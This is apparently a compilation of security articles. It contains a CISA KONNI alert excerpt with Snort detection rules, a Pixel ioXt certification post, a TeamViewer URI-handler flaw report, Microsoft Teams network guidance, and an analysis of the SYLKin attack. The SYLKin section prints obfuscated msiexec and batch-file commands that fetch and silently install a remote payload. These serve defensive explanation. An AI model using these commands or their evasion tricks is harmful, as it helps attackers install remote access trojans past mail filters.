Signed Binary Proxy Execution: Rundll32 [T1218.011]KONNI has used Rundll32 to execute its loader for privilege escalation purposes.
Event Triggered Execution: Component Object Model Hijacking [T1546.015]KONNI has modified ComSysApp service to load the malicious DLL payload.
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001]A version of KONNI drops a Windows shortcut into the Startup folder to establish persistence.
Boot or Logon Autostart Execution: Shortcut Modification [T1547.009]A version of KONNI drops a Windows shortcut on the victim’s machine to establish persistence.
Abuse Elevation Control Mechanism: Bypass User Access Control [T1548.002]KONNI bypassed User Account Control with the “AlwaysNotify” settings.
Credentials from Password Stores: Credentials from Web Browsers [T1555.003]KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera.



CISA developed the following Snort signatures for use in detecting KONNI malware exploits.

alert tcp any any -> any $HTTP_PORTS (msg:"HTTP URI contains '/weget/*.php' (KONNI)"; sid:1; rev:1; flow:established,to_server; content:"/weget/"; http_uri; depth:7; offset:0; fast_pattern; content:".php"; http_uri; distance:0; within:12; content:!"Referrer|3a 20|"; http_header; classtype:http-uri; priority:2; metadata:service http;)

alert tcp any any -> any $HTTP_PORTS (msg:"KONNI:HTTP header contains 'User-Agent|3a 20|HTTP|0d 0a|'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|HTTP|0d 0a|"; http_header; fast_pattern:only; content:"POST"; nocase; http_method; classtype:http-header; priority:2; metadata:service http;)

alert tcp any any -> any $HTTP_PORTS (msg:"KONNI:HTTP URI contains '/weget/(upload|uploadtm|download)'"; sid:1; rev:1; flow:established,to_server; content:"/weget/"; http_uri; fast_pattern:only; pcre:"/^\/weget\x2f(?:upload|uploadtm|download)\.php/iU"; content:"POST"; http_method; classtype:http-uri; priority:2; reference:url,; metadata:service http;)


CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  1. Maintain up-to-date antivirus signatures and engines. See Protecting Against Malicious Code.
  2. Keep operating system patches up to date. See Understanding Patches and Software Updates.
  3. Disable file and printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  4. Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators’ group unless required.
  5. Enforce a strong password policy. See Choosing and Protecting Passwords.
  6. Exercise caution when opening email attachments, even if the attachment is expected and the sender appears to be known. See Using Caution with Email Attachments.
  7. Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  8. Disable unnecessary services on agency workstations and servers.
  9. Scan for and remove suspicious email attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  10. Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  11. Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs).
  12.  Scan all software downloaded from the internet prior to executing.
  13. Maintain situational awareness of the latest threats and implement appropriate access control lists.
  14. Visit the MITRE ATT&CK Techniques pages (linked in table 1 above) for additional mitigation and detection strategies.

For additional information on malware incident prevention and handling, see the National Institute of Standards and Technology Special Publication 800-83, “Guide to Malware Incident Prevention and Handling for Desktops and Laptops.”


  1. d-hunter – A Look Into KONNI 2019 Campaign
  3. MITRE ATT&CK for Enterprise

Alert (AA20-227A)

Source :

Google Pixel 4a is the first device to go through ioXt at launch

Trust is very important when it comes to the relationship between a user and their smartphone. While phone functionality and design can enhance the user experience, security is fundamental and foundational to our relationship with our phones.There are multiple ways to build trust around the security capabilities that a device provides and we continue to invest in verifiable ways to do just that.

Pixel 4a ioXt certification

Today we are happy to announce that the Pixel 4/4 XL and the newly launched Pixel 4a are the first Android smartphones to go through ioXt certification against the Android Profile.

The Internet of Secure Things Alliance (ioXt) manages a security compliance assessment program for connected devices. ioXt has over 200 members across various industries, including Google, Amazon, Facebook, T-Mobile, Comcast, Zigbee Alliance, Z-Wave Alliance, Legrand, Resideo, Schneider Electric, and many others. With so many companies involved, ioXt covers a wide range of device types, including smart lighting, smart speakers, webcams, and Android smartphones.

The core focus of ioXt is “to set security standards that bring security, upgradability and transparency to the market and directly into the hands of consumers.” This is accomplished by assessing devices against a baseline set of requirements and relying on publicly available evidence. The goal of ioXt’s approach is to enable users, enterprises, regulators, and other stakeholders to understand the security in connected products to drive better awareness towards how these products are protecting the security and privacy of users.

ioXt’s baseline security requirements are tailored for product classes, and the ioXt Android Profile enables smartphone manufacturers to differentiate security capabilities, including biometric authentication strength, security update frequency, length of security support lifetime commitment, vulnerability disclosure program quality, and preloaded app risk minimization.

We believe that using a widely known industry consortium standard for Pixel certification provides increased trust in the security claims we make to our users. NCC Group has published an audit report that can be downloaded here. The report documents the evaluation of Pixel 4/4 XL and Pixel 4a against the ioXt Android Profile.

Security by Default is one of the most important criteria used in the ioXt Android profile. Security by Default rates devices by cumulatively scoring the risk for all preloads on a particular device. For this particular measurement, we worked with a team of university experts from the University of Cambridge, University of Strathclyde, and Johannes Kepler University in Linz to create a formula that considers the risk of platform signed apps, pregranted permissions on preloaded apps, and apps communicating using cleartext traffic.

Screenshot of the presentation of the Android Device Security Database at the Android Security Symposium 2020

In partnership with those teams, Google created Uraniborg, an open source tool that collects necessary attributes from the device and runs it through this formula to come up with a raw score. NCC Group leveraged Uraniborg to conduct the assessment for the ioXt Security by Default category.

As part of our ongoing certification efforts, we look forward to submitting future Pixel smartphones through the ioXt standard, and we encourage the Android device ecosystem to participate in similar transparency efforts for their devices.

Acknowledgements: This post leveraged contributions from Sudhi Herle, Billy Lau and Sam Schumacher

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TeamViewer Flaw Could Let Hackers Steal System Password Remotely

If you are using TeamViewer, then beware and make sure you’re running the latest version of the popular remote desktop connection software for Windows.

TeamViewer team recently released a new version of its software that includes a patch for a severe vulnerability (CVE 2020-13699), which, if exploited, could let remote attackers steal your system password and eventually compromise it.

What’s more worrisome is that the attack can be executed almost automatically without requiring much interaction of the victims and just by convincing them to visit a malicious web page once.

For those unaware, TeamViewer is a popular remote-support software that allows users to securely share their desktop or take full control of other’s PC over the Internet from anywhere in the world.

The remote access software is available for desktop and mobile operating systems, including Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8, and BlackBerry.

Discovered by Jeffrey Hofmann of Praetorian, the newly reported high-risk vulnerability resides in the way TeamViewer quotes its custom URI handlers, which could allow an attacker to force the software to relay an NTLM authentication request to the attacker’s system.

In simple terms, an attacker can leverage TeamViewer’s URI scheme from a web-page to trick the application installed on the victim’s system into initiating a connection to the attacker-owned remote SMB share.

windows password hacking

This, in turn, triggers the SMB authentication attack, leaks the system’s username, and NTLMv2 hashed version of the password to the attackers, allowing them to use stolen credentials to authenticate the victims’ computer or network resources.

To successfully exploit the vulnerability, an attacker needs to embed a malicious iframe on a website and then trick victims into visiting that maliciously crafted URL. Once clicked by the victim, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share.

Now, the victim’s Windows OS will “perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”

This vulnerability, categorized as ‘Unquoted URI handler,’ affects “URI handlers teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1,” Hofmann said.

The TeamViewer project has patched the vulnerability by quoting the parameters passed by the affected URI handlers e.g., URL:teamviewer10 Protocol “C:\Program Files (x86)\TeamViewer\TeamViewer.exe” “%1”

Though the vulnerability is not being exploited in the wild as of now, considering the popularity of the software among millions of users, TeamViewer has always been a target of interest for attackers.

So, users are highly recommended to upgrade their software to the 15.8.3, as it’s hardly a matter of time before hackers started exploiting the flaw to hack into users’ Windows PCs.

A similar SMB-authentication attack vector was previously disclosed in Google ChromeZoom video conferencing app, and Signal messenger.

Source :

Prepare your organization’s network for Microsoft Teams

Network requirements

If you’ve already optimized your network for Microsoft 365 or Office 365, you’re probably ready for Microsoft Teams. In any case – and especially if you’re rolling out Teams quickly as your first Microsoft 365 or Office 365 workload to support remote workers – check the following before you begin your Teams rollout:

  1. Do all your locations have internet access (so they can connect to Microsoft 365 or Office 365)? At a minimum, in addition to normal web traffic, make sure you’ve opened the following, for all locations, for media in Teams:TABLE 1PortsUDP ports 3478 through 3481IP addresses13.107.64.0/1852.112.0.0/14, and


If you need to federate with Skype for Business, either on-premises or online, you will need to configure some additional DNS records.

CNAME Records / Host nameTTLPoints to address or value
  1. Do you have a verified domain for Microsoft 365 or Office 365 (for example,
    • If your organization hasn’t rolled out Microsoft 365 or Office 365, see Get started.
    • If your organization hasn’t added or configured a verified domain for Microsoft 365 or Office 365, see the Domains FAQ.
  2. Has your organization deployed Exchange Online and SharePoint Online?

Once you’ve verified that you meet these network requirements, you may be ready to Roll out Teams. If you’re a large multinational enterprise, or if you know you’ve got some network limitations, read on to learn how to assess and optimize your network for Teams.


For educational institutions: If your organization is an educational institution and you use a Student Information System (SIS), deploy School Data Sync before you roll out Teams.

Running on-premises Skype for Business Server: If your organization is running on-premises Skype for Business Server (or Lync Server), you must configure Azure AD Connect to synchronize your on-premises directory with Microsoft 365 or Office 365.

Best practice: Monitor your network using CQD and call analytics

Use the Call Quality Dashboard (CQD) to gain insight into the quality of calls and meetings in Teams. CQD can help you optimize your network by keeping a close eye on quality, reliability, and the user experience. CQD looks at aggregate telemetry for an entire organization where overall patterns can become apparent, which lets you identify problems and plan remediation. Additionally, CQD provides rich metrics reports that provide insight into overall quality, reliability, and user experience.

You’ll use call analytics to investigate call and meeting problems for an individual user.

Network optimization

The following tasks are optional and aren’t required for rolling out Teams, especially if you’re a small business and you’ve already rolled out Microsoft 365 or Office 365. Use this guidance to optimize your network and Teams performance or if you know you’ve got some network limitations.

You might want to do additional network optimization if:

  1. Teams runs slowly (maybe you have insufficient bandwidth)
  2. Calls keep dropping (might be due to firewall or proxy blockers)
  3. Calls have static and cut out, or voices sound like robots (could be jitter or packet loss)

For an in-depth discussion of network optimization, including guidance for identifying and fixing network impairments, read Microsoft 365 and Office 365 Network Connectivity Principles.

Network optimization taskDetails
Network plannerFor help assessing your network, including bandwidth calculations and network requirements across your org’s physical locations, check out the Network Planner tool, in the Teams admin center. When you provide your network details and Teams usage, the Network Planner calculates your network requirements for deploying Teams and cloud voice across your organization’s physical locations.For an example scenario, see Using Network Planner – example scenario.
Advisor for TeamsAdvisor for Teams is part of the Teams admin center. It assesses your Microsoft 365 or Office 365 environment and identifies the most common configurations that you may need to update or modify before you can successfully roll out Teams.
External Name ResolutionBe sure that all computers running the Teams client can resolve external DNS queries to discover the services provided by Microsoft 365 or Office 365 and that your firewalls are not preventing access. For information about configuring firewall ports, go to Microsoft 365 and Office 365 URLs and IP ranges.
Maintain session persistenceMake sure your firewall doesn’t change the mapped Network Address Translation (NAT) addresses or ports for UDP.
Validate NAT pool sizeValidate the network address translation (NAT) pool size required for user connectivity. When multiple users and devices access Microsoft 365 or Office 365 using Network Address Translation (NAT) or Port Address Translation (PAT), you need to ensure that the devices hidden behind each publicly routable IP address do not exceed the supported number. Ensure that adequate public IP addresses are assigned to the NAT pools to prevent port exhaustion. Port exhaustion will contribute to internal users and devices being unable to connect to the Microsoft 365 or Office 365 service.
Routing to Microsoft data centersImplement the most efficient routing to Microsoft data centers. Identify locations that can use local or regional egress points to connect to the Microsoft network as efficiently as possible.
Intrusion Detection and Prevention GuidanceIf your environment has an Intrusion Detection or Prevention System (IDS/IPS) deployed for an extra layer of security for outbound connections, be sure to allow all Microsoft 365 or Office 365 URLs.
Configure split-tunnel VPNWe recommend that you provide an alternate path for Teams traffic that bypasses the virtual private network (VPN), commonly known as [split-tunnel VPN]( Split tunneling means that traffic for Microsoft 365 or Office 365 doesn’t go through the VPN but instead goes directly to Microsoft 365 or Office 365. Bypassing your VPN will have a positive impact on Teams quality, and it reduces load from the VPN devices and the organization’s network. To implement a split-tunnel VPN, work with your VPN vendor.Other reasons why we recommend bypassing the VPN:VPNs are typically not designed or configured to support real-time media.Some VPNs might also not support UDP (which is required for Teams).VPNs also introduce an extra layer of encryption on top of media traffic that’s already encrypted.Connectivity to Teams might not be efficient due to hair-pinning traffic through a VPN device.
Implement QoSUse Quality of Service (QoS) to configure packet prioritization. This will improve call quality in Teams and help you monitor and troubleshoot call quality. QoS should be implemented on all segments of a managed network. Even when a network has been adequately provisioned for bandwidth, QoS provides risk mitigation in the event of unanticipated network events. With QoS, voice traffic is prioritized so that these unanticipated events don’t negatively affect quality.
Optimize WiFiSimilar to VPN, WiFi networks aren’t necessarily designed or configured to support real-time media. Planning for, or optimizing, a WiFi network to support Teams is an important consideration for a high-quality deployment. Consider these factors:Implement QoS or WiFi Multimedia (WMM) to ensure that media traffic is getting prioritized appropriately over your WiFi networks.Plan and optimize the WiFi bands and access point placement. The 2.4 GHz range might provide an adequate experience depending on access point placement, but access points are often affected by other consumer devices that operate in that range. The 5 GHz range is better suited to real-time media due to its dense range, but it requires more access points to get sufficient coverage. Endpoints also need to support that range and be configured to leverage those bands accordingly.If you’re using dual-band WiFi networks, consider implementing band steering. Band steering is a technique implemented by WiFi vendors to influence dual-band clients to use the 5 GHz range.When access points of the same channel are too close together, they can cause signal overlap and unintentionally compete, resulting in a bad experience for the user. Ensure that access points that are next to each other are on channels that don’t overlap.Each wireless vendor has its own recommendations for deploying its wireless solution. Consult your WiFi vendor for specific guidance.

Bandwidth requirements

Teams is designed to give the best audio, video, and content sharing experience regardless of your network conditions. That said, when bandwidth is insufficient, Teams prioritizes audio quality over video quality.

Where bandwidth isn’t limited, Teams optimizes media quality, including up to 1080p video resolution, up to 30fps for video and 15fps for content, and high-fidelity audio.

This table describes how Teams uses bandwidth. Teams is always conservative on bandwidth utilization and can deliver HD video quality in under 1.2Mbps. The actual bandwidth consumption in each audio/video call or meeting will vary based on several factors, such as video layout, video resolution, and video frames per second. When more bandwidth is available, quality and usage will increase to deliver the best experience.

30 kbpsPeer-to-peer audio calling
130 kbpsPeer-to-peer audio calling and screen sharing
500 kbpsPeer-to-peer quality video calling 360p at 30fps
1.2 MbpsPeer-to-peer HD quality video calling with resolution of HD 720p at 30fps
1.5 MbpsPeer-to-peer HD quality video calling with resolution of HD 1080p at 30fps
500kbps/1MbpsGroup Video calling
1Mbps/2MbpsHD Group video calling (540p videos on 1080p screen)

Microsoft 365 and Office 365 Network Connectivity Principles

Worldwide endpoints: Skype for Business Online and Teams

Proxy servers for Teams

Media in Teams: Why meetings are simple

Media in Teams: Deep dive into media flows

Identity models and authentication in Teams

How to roll out Teams

Teams Troubleshooting

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Protect Against SYLKin Attack with SonicWall Cloud App Security

With the definition of normal changing with each passing day, the ongoing pandemic has forced security professionals to re-evaluate new working models and how they can prevent attackers from targeting end users. Albert Einstein once said, “In the midst of every crisis lies great opportunity,” and this idea has formed the basis for how cybercriminals operate in the era of COVID-19.

Never ones to let an opportunity go to waste, cybercriminals are deploying new attacks each day. Microsoft was recently affected by a new SYLKIN Attack that bypasses both Microsoft 365 default security (EOP) and Microsoft advanced security (ATP). At the time of writing, Microsoft 365 is still vulnerable, and the attack is still being used extensively against Microsoft 365 customers.

Lately Avanan’s security analysts have detected a significant increase in the usage of SLK files in attacks against Microsoft 365 customers. In these attacks, hackers send an email with a .slk attachment that contains a malicious macro (msiexec script) to download and install a remote access trojan.

It is a very sophisticated attack with several obfuscation methods specifically designed to bypass Microsoft 365. Gmail customers, on other hand, are safe from this attack — Google already blocks it on incoming email and has made it impossible to send these SLK files as an attachment from a Gmail account.

What is SYLKin attack?

Again, SLK files are rare, so if you have received one in your inbox, chances are you are being targeted by the most recent Remote Access Trojan malware that has been ‘upgraded’ to bypass Microsoft ATP. The attack method itself has been extensively documented, so I’ll only explain it briefly. The focus will be on how such a well-understood attack bypassed Office 365 filters, including Microsoft ATP.

The attack specifically targets Microsoft 365 accounts and until recently, was isolated to a small number of organizations.

Emails are targeted and manually created

The attack emails are highly customized, using information and language that could only have been found and written manually. The messages seem to come from a partner or customer using a topic that is highly specific to the organization and the individual. For example, an email to a manufacturer will discuss parts specifications, an email to a tech firm will ask for changes to a large electronics order, or an email to a government department will discuss legal concerns. The subjects, contents and even the attached files are customized with the target’s name and organization. No two are alike. What they have in common is that the messages are realistic and compelling enough to convince a user to click on the attached SLK file.

What is a SLK file?

A so-called “Symbolic Link” (SLK) file is Microsoft’s human-readable, text-based spreadsheet format that saw its last update around the time that “Dallas” went off the air in 1986. At a time when XLS files were proprietary, SLK was an open-format alternative before XLSX was introduced in 2007. To the end user, a SLK file looks like an Excel document — but for an attacker,  it’s an easy way to bypass Microsoft 365 security, even for accounts protected with Microsoft ATP.

What does this attack do?

A recent version of the SYLK attack includes an SLK file with an obfuscated macro designed to run a command on a Windows machine:

msiexec /i /q

This runs Windows Installer (msiexec) in quiet mode to install whatever MSI package they decide to host on their site. In this campaign, it’s a hacked version of the off-the-shelf NetSupport remote control application, granting the attacker full control over the desktop.

Windows grants more trust to SLK files than XLSX files

Because Windows “Protected View” does not apply to SLK files downloaded from the Internet or from email, Excel does not open them in read-only mode.

When opening an SLK file, the end user does not see this message:

Targeted methodology to bypass Microsoft Advanced Threat Protection

The first versions of the SLK attack method were seen in 2018 and were eventually blocked by Microsoft ATP. This new campaign, however, includes a number of obfuscation techniques specifically designed to bypass Microsoft ATP.

  1. The attack was sent from hundreds of free hotmail accounts
  2. The macro script includes ‘^’ characters to confuse ATP filters.
  3. The URL was split in two so that ATP would not read it as a web link,
  4. The hosting server became active after the email was sent so it seemed benign if sandboxed by ATP,
  5. The hosting server only responded to “Windows Installer” user agents, ignoring other queries.

These methods are ATP-specific. Again, Gmail blocks these files and, in fact, makes it impossible to send from a Gmail account.

The attackers took advantage of a series of blind spots in the Microsoft email infrastructure to send this attack from thousands of disposable Hotmail accounts, with email addresses in the format “,” each sending just a handful or messages at a time.

An important benefit of Hotmail to many attackers is that the same security filters are being used end to end. If the attacker is able to attach and send a file, it is likely that it will make it through the entire Microsoft security infrastructure. Should one of the accounts get flagged, Microsoft will disable it, informing the attacker that his messages are getting caught downstream.

While most of the well-known anonymous email-sending engines deserve their poor spam and phishing reputations, Hotmail users benefit from Microsoft’s own reputation. Since the service was merged with its own Outlook application, Microsoft seems to grant them a higher level of trust than external senders.

The macro script includes escape characters to confuse ATP filters

The attackers take advantage of the fact that ATP filters do not interpret text in the same way as the Windows command line. ATP would normally be able to identify the powerful and potentially malicious msiexec command, but the attackers inserted command-line escape characters ‘^’ to obfuscate the script.

msiexec /i /q


M^s^ie^xec /ih^tt^p^:^/^/ ^/q

When read by Advanced Threat Protection filters, the msiexec command becomes unreadable and the telltale ‘http://’ is obscured.

When read by the desktop command line, the escape characters ‘disappear,’ running as if they were never there. This is just a command-line version of the Zero-Font methodologies that have plagued ATP for years.

The URL was split into two macros so that ATP would not read it as a link

ATP does not need to see the ‘http://’ to recognize a web link and would normally catch any text of the format ‘’ In order to hide the link, the attackers split it into two separate commands.

The first macro command creates a batch file with the first half of the URL.

Set /p=””M^s^ie^xec /ih^tt^p^:^/^/malicious-sit”” > JbfoT.bat

The second macro command adds the remainder of the URL and then runs the batch file.

Set /p=”” ^/q”” >> JbfoT.bat & JbfoT.bat

Within seconds, the malicious SLK file has run two simple commands to create a malicious install script and begin installing whatever software the attackers decide to host.

The hosting server was armed after the message was sent

We don’t believe Microsoft ATP is testing these files within their sandbox environment, relying instead on static filters. But we have found that other vendors have also failed to catch this attack, even when the code is executed in a virtual environment.

There is no special code or intelligence within the script to detect if it is running within emulation. Instead, the attackers do not enable the malicious web server until shortly after the email is sent. Because it cannot reach the server, the script fails, installing nothing.

In addition to enabling the URL only after delivery, the server would become inactive a few hours later, rejecting further queries. This seems to be a way to avoid action from their provider, as the reported content is no longer available at the links associated with the attack by the time a manual take-down notice is requested.

The coordinated timing of the hosting servers with the sending of the emails is characteristic of a more sophisticated campaign. When combined with the high-profile nature of the targeted organizations, it suggests an APT group or state actor.

The hosting server only responded to requests from “Windows Installer” agents

In addition to their on-and-off timing, the hosting servers utilized another common technique to avoid analysis, rejecting all queries except for those with User Agent: Windows Installer. This ensured that it only responded to the malicious script and would avoid detection by URL analysis tools.

How did it evade Microsoft protection?

Each of the obfuscation methodologies were designed to bypass a specific layer of the Microsoft 365 security infrastructure. While we understand how each was used in turn, we are still confused as to how ATP fails to detect this technique in emulation. Creating a batch file and calling the msiexec application is considered malicious, even if it fails to run. We must assume, then, that none of these files are being tested by the sandbox layer. Unfortunately, because each file is unique, no two attachments have the same MD5 hash, which requires each file to be given additional scrutiny.

Got SonicWall CAS protecting your inbox? Don’t worry, we have you protected.

If you have SonicWall Cloud App Security protecting your organization’s inbox and you are running in Protect (Inline) mode, this attack is blocked, and users will not see these attacks in their inbox. (If you are in Monitor Mode, we recommend that you move to Protect (Inline) mode.)

Alternatively, we recommend you configure your Office 365 account to reject files of this type. SLK files are relatively rare, so unless you have a legacy reason to allow them, we recommend excluding the SLK extension as a static mail-flow rule, at least until Microsoft fixes this gap.

Microsoft’s recommendations are much more complicated but are another alternative to protect the desktop.

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